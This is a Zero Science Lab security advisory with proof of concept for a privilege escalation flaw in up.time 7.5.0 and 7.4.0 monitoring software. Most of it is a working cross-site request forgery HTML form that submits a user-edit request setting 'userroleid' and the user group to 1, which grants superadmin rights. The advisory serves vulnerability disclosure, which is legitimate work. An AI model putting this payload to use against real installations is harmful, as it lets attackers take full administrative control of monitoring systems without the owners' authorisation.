up.time 7.5.0 Superadmin Privilege Escalation Exploit
Vendor: Idera Inc.
Product web page: http://www.uptimesoftware.com
Affected version: 7.5.0 (build 16) and 7.4.0 (build 13)
Summary: The next-generation of IT monitoring software.
Desc: up.time suffers from a privilege escalation issue.
Normal user can elevate his/her privileges by sending
a POST request seting the parameter 'userroleid' to 1.
Attacker can exploit this issue using also cross-site
request forgery attacks.
Tested on: Jetty, PHP/5.4.34, MySQL
Apache/2.2.29 (Win64) mod_ssl/2.2.29 OpenSSL/1.0.1j PHP/5.4.34
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
@zeroscience
Advisory ID: ZSL-2015-5251
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2015-5251.php
29.07.2015
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<html>
<body>
<form action="http://127.0.0.1:9999/main.php?section=UserContainer&subsection=edit&id=4" method="POST">
<input type="hidden" name="operation" value="submit" />
<input type="hidden" name="disableEditOfUsernameRoleGroup" value="false" />
<input type="hidden" name="username" value="Testingus2" />
<input type="hidden" name="password" value="*****" />
<input type="hidden" name="passwordConfirm" value="*****" />
<input type="hidden" name="firstname" value="Test" />
<input type="hidden" name="lastname" value="Ingus" />
<input type="hidden" name="location" value="Neverland" />
<input type="hidden" name="emailaddress" value="test2@test.test" />
<input type="hidden" name="emailtimeperiodid" value="1" />
<input type="hidden" name="phonenumber" value="111111" />
<input type="hidden" name="phonenumbertimeperiodid" value="1" />
<input type="hidden" name="windowshost" value="test" />
<input type="hidden" name="windowsworkgroup" value="testgroup" />
<input type="hidden" name="windowspopuptimeperiodid" value="1" />
<input type="hidden" name="landingpage" value="MyPortal" />
<input type="hidden" name="isonvacation" value="0" />
<input type="hidden" name="receivealerts" value="on" />
<input type="hidden" name="receivealerts" value="1" />
<input type="hidden" name="alertoncritical" value="on" />
<input type="hidden" name="alertoncritical" value="1" />
<input type="hidden" name="alertonwarning" value="on" />
<input type="hidden" name="alertonwarning" value="1" />
<input type="hidden" name="alertonunknown" value="on" />
<input type="hidden" name="alertonunknown" value="1" />
<input type="hidden" name="alertonrecovery" value="on" />
<input type="hidden" name="alertonrecovery" value="1" />
<input type="hidden" name="activexgraphs" value="0" />
<input type="hidden" name="newuser" value="on" />
<input type="hidden" name="newuser" value="1" />
<input type="hidden" name="userroleid" value="1" />
<input type="hidden" name="usergroupid[]" value="1" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
